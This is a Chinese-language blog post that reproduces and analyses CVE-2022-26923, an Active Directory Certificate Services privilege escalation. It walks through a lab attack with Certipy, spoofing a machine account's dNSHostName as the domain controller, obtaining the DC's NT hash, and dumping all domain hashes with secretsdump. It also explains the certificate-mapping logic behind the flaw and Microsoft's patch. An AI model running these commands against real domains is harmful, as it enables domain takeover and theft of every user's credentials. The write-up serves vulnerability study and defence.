Active Directory 域服务特权提升漏洞 CVE-2022–26923

2022-05-31 09:12:31 浏览数 (1)

Active Directory 域服务特权提升漏洞

代码语言:javascript复制
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923

经过身份验证的用户可以操纵他们拥有或管理的计算机帐户的属性,并从 Active Directory 证书服务获取允许提升权限的证书。

从本质上讲,该漏洞允许普通域用户在通过 Active Directory 证书服务 (AD CS) 服务器将权限提升到域管理员。

用户可以根据预定义的证书模板请求证书。这些模板指定最终证书的设置,例如它是否可以用于客户端身份验证、必须定义哪些属性、允许谁注册等等。虽然 AD CS 可用于许多不同的目的,这次的漏洞出现在 AD CS 的客户端身份验证方面。

分析复现

利用条件

Active Directory启用AD CS

影响范围

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows 11 for ARM64-based Systems

Windows 11 for x64-based Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

复现

环境

DC: windows server 2019 1809 ip 192.168.125.108

kali:192.168.125.109

domain user:nb pass:1qaz@WSX

1.使用Certipy请求证书

代码语言:javascript复制
https://github.com/ly4k/Certipy
代码语言:javascript复制
python3 .setup.py install

正常的认证流程:

申请一个证书

代码语言:javascript复制
certipy req '192.168.125.108/nb:1qaz@WSX@dc.nb.com' -target-ip 192.168.125.108 -ca nb-DC-Ca -template User -debug

使用 PKINIT Kerberos 扩展使用提供的证书进行身份验证,检索 TGT。

2.攻击

新建一个计算机账号,定义dNSHostName属性为DC的值

代码语言:javascript复制
certipy account create 'nb.com/nb:1qaz@WSX@dc.nb.com' -user 'nb-test' -dns 'dc.nb.com' -dc-ip 192.168.125.108 -debug

使用机器账号申请模板为Machine的证书

代码语言:javascript复制
certipy req 'nb.com/nb-test$:8POeSAc00SpmrjSc@dc.nb.com' -target-ip 192.168.125.108 -ca nb-DC-Ca -template Machine -debug

使用 PKINIT Kerberos 扩展使用提供的证书进行身份验证,检索 TGT。

代码语言:javascript复制
certipy auth -pfx dc.pfx -dc-ip 192.168.125.108 -debug  

重启了一下,DC ip为:192.168.125.105,可以使用 NT 哈希执行 DCSync 攻击以转储所有用户的哈希。

代码语言:javascript复制
sudo python3 secretsdump.py 'dc$@192.168.125.105' -hashes :bc3015754118f33095266bb15674190f

漏洞分析

ADCS的处理流程

在AD CS中会预定义一些证书模板,用户可以根据预定义的证书模板请求证书

这些模板指定最终证书的设置,例如它是否可以用于客户端身份验证、必须定义哪些属性、允许谁注册等等。默认情况下,域用户可以注册User证书模板,域计算机可以注册Machine证书模板。两个证书模板都允许客户端身份验证。

同时我们可以看到在AD CS中具有多个证书模板,微软规定只能从存在的一个或多个模板中来申请证书。

具体表示为:

1.AD CS在收到请求后,CA必须从以下 四个可选位置检索证书模板标识符:

CertificateTemplateName 结构

Enrollment-Name-Value pair

ICertRequestD::Request 或ICertRequestD2::Request2的 pwszAttributes 参数

CertificateTemplateOID 结构

2.然后CA 必须按以下方式将这些标识符中的每一个映射到其证书模板表中的一个证书模板

名称标识符映射到存储在 Certificate_Template_Data 列中的证书模板对象的 cn属性值

OID 标识符映射到存储在 Certificate_Template_Data 列中的证书模板对象的 msPKI-Cert-Template-OID 属性

3.CA 必须验证请求中传递的所有证书模板标识符是否映射到单个证书模板对象。

如果没有证书模板标识符,CA 必须返回一个非零错误。错误为 0x80094800 (CERTSRV_E_UNSUPPORTED_CERT_TYPE)。

如果证书模板标识符映射到多个证书模板,CA返回一个非零错误。错误为 0x80094802 (CERTSRV_E_TEMPLATE_CONFLICT)。

4.CA 必须验证已识别证书模板的 Certificate_Template_IsConfigured 列的值

如果为 True,请求通过

如果值为 False,则 CA 请求失败。错误代码应为 0x80094800 (CERTSRV_E_UNSUPPORTED_CERT_TYPE)。

5.验证在请求中提交的证书模板的版本不比服务器存储在其证书模板表中的证书模板新。

主要验证msPKI-Template-Schema-Version属性的值

6.验证最终实体权限

ADCS需要通过以下步骤验证请求者是否被允许注册请求的证书模板

Input_ntSecurityDescriptor:输入模板的ntSecurityDescriptor属性 。

Input_SID:包含根据输入模板 请求证书的最终实体的SID 。

通过将Template_ntSecurityDescriptor设置为Input_ntSecurityDescriptor和Requester_SID等于Input_SID ,调用确定终端实体的注册权限中的处理规则来处理验证最终实体权限。

PKINIT 和证书映射

用于初始身份验证的公钥加密 (PKINIT) 是 Kerberos 协议的扩展。PKINIT 扩展允许在 Kerberos 协议的初始身份验证交换中使用公钥加密,PKINIT 框架内使用椭圆曲线密码术 (ECC) 。PKINIT 是一种预身份验证 扩展,它扩展了 Kerberos 协议以在初始阶段使用公钥加密和 票证授予票证 (TGT)数据签名作为交。。换句话说,PKINIT 是允许使用证书进行身份验证的 Kerberos 扩展。为了使用证书进行 Kerberos 身份验证,证书必须配置“客户端身份验证”扩展密钥使用 (EKU),以及某种帐户标识。

认证流程:

Kerberos 客户端应该只发送一个 PA-PK-AS-REQ预认证 数据标识符

1.对于计算机 AS-REQ,PKCA 客户端应该满足以下所有条件,否则失败:

  • 计算机证书包含:
  • subjectAltName (SAN) DNSName 字段:<computer name>.<DNS domain name> 其中 <computer name> 匹配计算机名称,<DNS domain name> 匹配计算机的 DNS 域名。
  • 增强密钥使用 (EKU):id-pkinit-KPClientAuth (1.3.6.1.5.2.3.4) 或 TLS/SSL 客户端身份验证 (1.3.6.1.5.5.7.3.2)。
  • KDC证书包含:
  • SAN DNSName 字段:域的 DNS 名称
  • EKU:id-pkinit-KPkdc (1.3.6.1.5.2.3.5)

2.如果KDC接收到 PA-PK-AS-REQ 和 PA-PK-AS-REQ_OLD,则 KDC 必须返回 KRB_ERROR_GENERIC。

3.KDC 按对应规则处理 PA-PK-AS-REQ预认证 数据标识符。KDC 以 对应规则进行PA-PK-AS-REP 响应。

Windows 2000 和 Windows Server 2003 KDC 总是丢弃 PA-PK-AS-REQ 数据标识符并处理 PA-PK-AS-REP_OLD 数据标识符(如果存在)。

Windows 2000 和 Windows Server 2003 KDC 以 PA-PK-AS-REP_OLD 响应。

4.KDC 必须在NTLM_SUPPLEMENTAL_CREDENTIAL 缓冲区中返回用户的unicodePwd 属性

Active Directory 将密码存储 在unicodePwd属性中的用户对象或inetOrgPerson对象上。

5.然后KDC使用cname(规范名字) 查找帐户。

如果未找到该帐户并且 cname 名称类型为 NT-X500-PRINCIPAL,则 KDC 使用显式映射字段在帐户数据库中定位该帐户。

当 userAccountControl 属性位 WT 或 ST,Active Directory用于帐户数据库的 PKCA KDC 的实现是:

TRUE:使用 SAN DNSName 字段验证证书映射。

两者都为 FALSE:首先使用 SAN UPNName 字段验证证书映射,然后尝试显式映射。

如果未找到该帐户,KDC 将返回 KDC_ERR_C_PRINCIPAL_UNKNOWN。

6.同时如果是使用3.1.5.2.1.1 SAN DNSName 字段来进行证书映射的话,KDC会:

KDC确认找到的帐户名称与以“$”结尾的证书的 DNSName 字段中的计算机名称匹配, 并且证书的DNSName字段中的 DNS 域名与领域的 DNS 域名匹配。

将Active Directory用于帐户数据库的 PKCA KDC 的实现必须使用sAMAccountName属性作为计算机名称。

如果它们不匹配,KDC 返回 KDC_ERR_CLIENT_NAME_MISMATCH。

7.如果使用的是3.1.5.2.1.2 SAN UPN 字段来进行证书映射的话,KDC会:

KDC确认找到的帐户与在证书的UPN字段中使用 UPN 时找到的帐户匹配 。如果它们不匹配,KDC 应该返回 KDC_ERR_CLIENT_NAME_MISMATCH。

简单流程就是:

首先,根据 AS-REQ 中指定的主体名称查找帐户,例如user@nb.com。然后,根据userAccountControl帐户的属性,KDC 根据证书中的 (SAN) DNSName 或 UPNName 验证证书映射。

如果设置了WORKSTATION_TRUST_ACCOUNT(域计算机)或SERVER_TRUST_ACCOUNT(域控制器)位,KDC 将验证来自 DNSName 的映射。否则,KDC 将验证来自 UPNName 的映射。

从实验数据来看,在申请的为USER模板时KDC使用的是UPNName 验证证书映射,在申请的证书使用的是Machine模板是使用的是DNSName映射。

同时KDC的证书映射处理和ADCS颁发证书的处理共同构成了整个攻击链。

USER模板

我们可以先看一下user模板的主要内容

代码语言:javascript复制
certutil -v -dstemplate user

可以看到一个ACL

向下看可以看到模板的定义msPKI-Certificate-Name-Flag属性

msPKI-Certificate-Name-Flag 属性指定使用者名称标志,在USER模板中指定了:

代码语言:javascript复制
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 2000000 (33554432)
CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL -- 4000000 (67108864)
CT_FLAG_SUBJECT_REQUIRE_EMAIL -- 20000000 (536870912)
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH -- 80000000 (-2147483648)

在微软的3.1.2.4.2.2.2.10 Certificate.Template.msPKI-Certificate-Name-Flag和3.2.2.6.2.1.4.5.9 msPKI-Certificate-Name-Flag中的处理规则我们可以知道:

代码语言:javascript复制
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/a1f27ffb-7f74-4fa1-8841-7cde4ba0bcfe

如果设置了

代码语言:javascript复制
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
或 CT_FLAG_SUBJECT_ALT_REQUIRE_SPN 标志,

CA 必须将来自工作目录中请求者用户对象的userPrincipalName属性的值添加到已颁发证书的主题替代名称扩展中。

例如我们修改域账号nb的userPrincipalName为administrator@nb.com

然后用来申请USER模板的证书

可以看到主体名称修改为administrator@nb.com,然后申请USER模板的证书。

代码语言:javascript复制
certipy req '192.168.125.105/nb:!QAZ2wsx@dc.nb.com' -target-ip 192.168.125.105 -ca nb-DC-Ca -template user -debug

然后使用申请下来的证书去获取hash

代码语言:javascript复制
certipy auth -pfx administrator.pfx -dc-ip 192.168.125.105 -debug -domain nb.com -username administrator

提示为UPN不匹配

Machine模板

攻击链第一步:伪造dNSHostName 值=DC

在计算机帐户没有 UPN,那么计算机帐户如何使用证书进行身份验证?我们可以查看Machine证书模板

代码语言:javascript复制
certutil -v -dstemplate Machine

可以看到Machine证书模板msPKI-Certificate-Name-Flag 属性指定为:

代码语言:javascript复制
CT_FLAG_SUBJECT_ALT_REQUIRE_DNS -- 8000000 (134217728)
CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN -- 10000000 (268435456)

在微软定义的3.2.2.6.2.1.4.5.9 msPKI-Certificate-Name-Flag中的第8点我们可以看到:

代码语言:javascript复制
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/a1f27ffb-7f74-4fa1-8841-7cde4ba0bcfe

如果设置了 CT_FLAG_SUBJECT_ALT_REQUIRE_DNS 标志,CA 应该:

将来自工作目录中请求者计算机对象的dNSHostName 属性的值添加到已颁发证书的主题备用名称扩展中.然后调用3.2.2.1.2 Search Requests for Querying End Entity Object Attributes的处理规则把输入参数EndEntityDistinguishedName 设置为请求者的计算机对象专有名称,并从返回的EndEntityAttributes 输出参数中检索dNSHostName属性。

对于CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN 标志在3.2.2.6.2.1.4.5.9 msPKI-Certificate-Name-Flag中的第2点的i中我们同样可以看到相同的处理规则。

那么我们可以查看一下DC机器账号的dNSHostName属性值为

别的机器账号为:

明显为"机器名.[domain]",在MQA规则中我们可以知道MS-DS-Machine-Account-Quota属性值默认为10,就是说我们可以新建10个机器账号。同时在微软文档中的3.1.1.5.1.3 Uniqueness Constraints中并没有说dNSHostName计算机帐户的属性必须是唯一的。

代码语言:javascript复制
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3c154285-454c-4353-9a99-fb586e806944

所以我们创建名为admin的机器帐户,请求一个证书,然后用证书进行身份验证。

代码语言:javascript复制
certipy account create '192.168.125.105/nb:!QAZ2wsx@dc.nb.com' -user 'admin' -dc-ip 192.168.125.105 -debug

可以看到admin机器账号的dNSHostName值为:admin.nb.com,在MQA规则中机器账号的创建者对机器账号具有一定的修改属性权限。

那么我们可以修改dNSHostName值为域控的dNSHostName的值

并没有与DC有冲突, SAM 帐户名也是没有改变。

我们现在可以使用admin对Machine模板请求证书。

代码语言:javascript复制
certipy req 'nb.com/admin$:jJtUwQHtsx5rhJy7@dc.nb.com' -target-ip 192.168.125.105 -ca nb-DC-Ca -template Machine -debug

在漏洞原作者的分析文章中提到修改dNSHostName属性时,导致了约束servicePrincipalName冲突,但是本人在分析时并没有导致这样的问题,所以本人在这里不进行讨论。

攻击链第二步:进入KDC的证书映射处理

第一步中我们获取了dNSHostName=dc.nb.com的Machine模板证书

代码语言:javascript复制
certutil -v .dc.pfx

那么在PKINIT Kerberos 身份验证中

1.客户端发送PA-PK-AS-REQ预认证 数据标识符

2.客户端发送以下值:

  • subjectAltName (SAN) DNSName 字段:dc@nb.com
  • 增强密钥使用 (EKU):id-pkinit-KPClientAuth (1.3.6.1.5.2.3.4) 或 TLS/SSL 客户端身份验证 (1.3.6.1.5.5.7.3.2)。

3.KDC 从主体名称中查找帐户。由于DC$是计算机帐户,所以KDC进入3.1.5.2.1.1 SAN DNSName证书映射处理逻辑中,DNSName = dc@nb.com,拆分为dc 和 nb.com来进行处理:KDC 验证计算机名称部分是否与sAMAccountName 相匹配,以及nb.com部分是否与域相匹配。

我们申请的计算机账号为DC$是等于DC的sAMAccountName 值,并nb.com部分是与域相匹配。那么验证成功,因此映射有效,通过身份认证。

补丁分析

微软在补丁KB5014754中修复这个漏洞的利用。通过在一个新的( ) OID 中嵌入用户objectSid(SID)值来完成的。

例如:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923

https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4

chrome-extension://bocbaocobfecmglnmeaeppambideimao/pdf/viewer.html?file=https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/4ab93c65-0e57-4370-9d63-b90521041892

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/d0cf1763-3541-4008-a75f-a577fa5e8c5b

0 人点赞